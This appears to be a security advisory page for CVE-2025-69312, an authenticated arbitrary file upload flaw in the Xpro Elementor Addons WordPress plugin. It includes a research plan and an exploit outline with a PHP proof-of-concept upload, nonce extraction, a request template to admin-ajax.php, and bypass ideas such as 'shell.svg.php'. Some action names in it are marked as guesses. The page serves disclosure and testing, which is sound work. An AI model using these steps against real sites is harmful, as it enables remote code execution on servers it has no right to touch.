Xpro Elementor Addons <= 1.4.19.1 - Authenticated (Author+) Arbitrary File Upload
Description
The Xpro Addons — 140+ Widgets for Elementor plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in all versions up to, and including, 1.4.19.1. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=1.4.19.1# Research Plan: CVE-2025-69312 - Xpro Elementor Addons Arbitrary File Upload ## 1. Vulnerability Summary The **Xpro Elementor Addons** plugin (up to version 1.4.19.1) contains an unrestricted file upload vulnerability. The flaw exists because a specific AJAX handler, accessible to users with **Aut…
Show full research plan
Research Plan: CVE-2025-69312 - Xpro Elementor Addons Arbitrary File Upload
1. Vulnerability Summary
The Xpro Elementor Addons plugin (up to version 1.4.19.1) contains an unrestricted file upload vulnerability. The flaw exists because a specific AJAX handler, accessible to users with Author permissions and above, fails to validate the file extension or MIME type of uploaded files. This allows an authenticated attacker to upload malicious PHP scripts to the server, leading to Remote Code Execution (RCE).
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Vulnerable Action:
xpro_elementor_addons_upload_fileorxpro_elementor_addons_import_template(inferred based on plugin functionality and common Elementor addon patterns). - HTTP Method:
POST(Multipart Form Data) - Authentication: Required (Author-level role or higher).
- Parameters:
action: The AJAX action string.nonce: A security token (likely required).file/async-upload: The file payload containing PHP code.
- Preconditions: The attacker must have a valid account with at least the
Authorrole.
3. Code Flow (Inferred)
- Entry Point: The plugin registers an AJAX action for authenticated users via
add_action( 'wp_ajax_...', ... ). - Handler Function: The function associated with the action (e.g.,
upload_file_handler) is called. - Nonce Verification: The code likely calls
check_ajax_referer()orwp_verify_nonce(). - Capability Check: The code may check
current_user_can('upload_files')orcurrent_user_can('edit_posts'). Since Authors have these capabilities by default, they pass the check. - Processing: The code retrieves the file from the
$_FILESglobal. - Vulnerable Sink: The function calls
wp_handle_upload()ormove_uploaded_file()without providing a restrictivemimesallowlist or validating the extension againstwp_check_filetype(). - Storage: The file is saved into
wp-content/uploads/xpro-addons/...or the standard media library directory.
4. Nonce Acquisition Strategy
Since the vulnerability is authenticated (Author+), the nonce is likely localized in the WordPress admin area or within the Elementor editor interface.
- Identify the Localization: Search the codebase for
wp_localize_script.grep -r "wp_localize_script" .
- Create a Test Page:
wp post create --post_type=page --post_status=publish --post_title="Xpro Test" --post_content="[xpro_template_dummy_shortcode]"(Exact shortcode to be identified viagrep -r "add_shortcode" .).
- Extract via Browser:
- Login as an Author.
- Navigate to the page or the Elementor editor.
- Use
browser_evalto find the nonce:browser_eval("window.xpro_elementor_addons_js_data?.nonce")(inferred variable name).- Alternative:
browser_eval("window.xpro_admin_ajax?.nonce").
5. Exploitation Strategy
Step 1: Discover the exact AJAX Action and Nonce Key
Search the plugin directory for file upload sinks and their associated hooks.
grep -r "wp_ajax_" .
grep -rE "move_uploaded_file|wp_handle_upload" .
Step 2: Prepare the Payload
Create a file named poc.php:
<?php echo "VULN_VERIFIED: " . php_uname(); ?>
Step 3: Execute the Upload Request
Using the http_request tool, send the following multipart request (assuming action xpro_elementor_addons_upload_image and nonce key xpro_nonce as placeholders):
Request Template:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type:multipart/form-dataCookie: (Author user cookies)
- Body (Multipart):
action:xpro_elementor_addons_upload_image(to be confirmed)nonce:[EXTRACTED_NONCE]file:poc.php(Content:<?php phpinfo(); ?>)
Step 4: Locate the Uploaded File
The response will likely contain the URL or path of the uploaded file. If not, check common paths:
http://localhost:8080/wp-content/uploads/xpro-addons/poc.phphttp://localhost:8080/wp-content/uploads/[YEAR]/[MONTH]/poc.php
6. Test Data Setup
- Install Plugin: Ensure
xpro-elementor-addonsversion 1.4.19.1 is active. - Create User:
wp user create attacker attacker@example.com --role=author --user_pass=password - Identify Shortcode/Widget:
(e.g., Ifgrep -rn "add_shortcode" .[xpro_portfolio]is found, create a page with it to trigger script loading).
7. Expected Results
- Upload Response: A JSON response indicating success, often returning an ID or a URL:
{"success":true,"data":{"url":".../poc.php"}}. - Execution: Accessing the URL of the uploaded PHP file returns the output of
phpinfo()or thephp_uname()string.
8. Verification Steps
- Check Filesystem:
find /var/www/html/wp-content/uploads -name "poc.php" - HTTP Check:
Usehttp_requestto GET the path of the discovered file and check for the stringVULN_VERIFIED.
9. Alternative Approaches
- If
wp_handle_uploadis used with filters: Check if the plugin overrides theupload_mimesfilter globally during the AJAX call. - Template Import: If the vulnerability is in a "Template Import" feature, try uploading a
.zipfile containing a.phpfile, or a JSON file with embedded PHP if the plugin extracts or includes it. - SVG Uploads: If the plugin specifically allows SVG but doesn't sanitize, try uploading an SVG with a
<script>tag or a file namedshell.svg.php.
Summary
The Xpro Addons — 140+ Widgets for Elementor plugin for WordPress (up to version 1.4.19.1) is vulnerable to arbitrary file uploads due to a lack of file type validation in its AJAX-based upload handlers. This allows authenticated attackers with Author-level permissions and above to upload malicious PHP files, leading to Remote Code Execution (RCE).
Exploit Outline
1. Authenticate as a user with at least Author-level permissions. 2. Locate the AJAX security nonce required by the Xpro Addons plugin, typically found in the localized JavaScript data within the WordPress admin dashboard or Elementor editor interface. 3. Construct a multipart POST request to wp-admin/admin-ajax.php using the vulnerable action (e.g., xpro_elementor_addons_upload_file or xpro_elementor_addons_import_template). 4. Include the extracted nonce and a file payload containing PHP code in the request. 5. Upon receiving a success response, extract the URL of the uploaded file and navigate to it to trigger script execution on the server.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.